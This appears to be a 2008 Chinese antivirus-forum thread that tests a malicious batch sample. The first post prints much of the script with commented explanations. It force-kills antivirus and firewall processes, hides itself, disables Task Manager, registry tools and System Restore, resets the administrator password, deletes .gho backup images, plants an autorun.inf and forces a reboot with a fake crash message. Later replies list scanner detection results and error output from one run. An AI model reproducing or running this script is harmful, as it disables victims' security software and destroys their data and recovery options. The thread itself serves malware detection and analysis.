批处理写的

303898443

卡巴报特洛伊程序

funix

copy %0 %windir%\system32\cmd.bat
attrib %windir%\system32\cmd.bat +r +s +h
=======> 这段是复制自身到系统目录并且设置隐藏属性。<==========
%s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul转
%s% /im norton* /f >nul
%s% /im av* /f >nul
%s% /im fire* /f >nul
%s% /im anti* /f >nul
%s% /im spy* /f >nul
%s% /im bullguard /f >nul
%s% /im PersFw /f >nul
%s% /im KAV* /f >nul
%s% /im ZONEALARM /f >nul
%s% /im SAFEWEB /f >nul


%s% /im OUTPOST /f >nul
%s% /im nv* /f >nul
%s% /im nav* /f >nul
%s% /im F-* /f >nul
%s% /im ESAFE /f >nul
%s% /im cle /f >nul
%s% /im BLACKICE /f >nul
%s% /im def* /f >nul
%s% /im 360safe.exe /f >nul

==========>这段是停止进程。用了taskkill 这个命令.<===========
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRun /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoDrives /t REG_DWORD /d
4294967295 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
Disableregistrytools /t
REG_DWORD /d 00000002 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoNetHood /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /V
NoDesktop /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoClose /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoFind /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD
/d 00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoLogOff /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
NoSetTaskBar /t REG_DWORD
/d 00000001 /f >nul
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v
DisableSR /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v
DisableConfig /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v
RestrictRun /t REG_DWORD /d
00000001 /f >nul
==========>这段是对注册表的操作。实现了隐藏文件。禁止任务管理器。修改开始菜单等功能。

cls
net user administrator 123456 >nul
for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q >nul
echo @echo off >d:\setup.bat
echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新
安装系统可以解决此问题

========> 添加用户，关机。删除镜像文件。
echo [AutoRun] >d:\autorun.inf
echo Open=setup.bat >>d:\autorun.inf
echo Open=system.bat >>d:\autorun.inf
attrib d:\autorun.inf +r +s +h >>d:\setup.bat
attrib d:\setup.bat +r +s +h >>d:\setup.bat
start d:\setup.bat /min >nul

==========> 自动播放。

Joker

C:\Documents and Settings\Administrator\桌面\b.rar>>b.bat        BAT.AVKiller.kca        病毒        还未处理

野马

运行不成功，微点未报

拒绝访问。
已复制         0 个文件。
没有启动 Windows Firewall/Internet Connection Sharing (ICS) 服务。
请键入 NET HELPMSG 3521 以获得更多的帮助。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
'/im' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
没有启动 Shadow System Service 服务。
请键入 NET HELPMSG 3521 以获得更多的帮助。

[ 本帖最后由 野马 于 2008-3-27 19:29 编辑 ]

BING126

McAfee  MISS

一凡

Begin scan in 'C:\download\b.rar'
C:\download\b.rar
  [0] Archive type: RAR
  --> b.bat
      [DETECTION] Contains detection pattern of the batch virus BAT/BadGrl
      [INFO]      The file was deleted!

小红伞直接把这个病毒杀了

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Harm.BAT.KillAV.a        

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.37.32

aribeth199

detected: Trojan program Trojan.BAT.KillAV.fk        URL: http://bbs.kafan.cn/attachment.php?aid=226477//b.bat

SONGBOWEN

红伞砍掉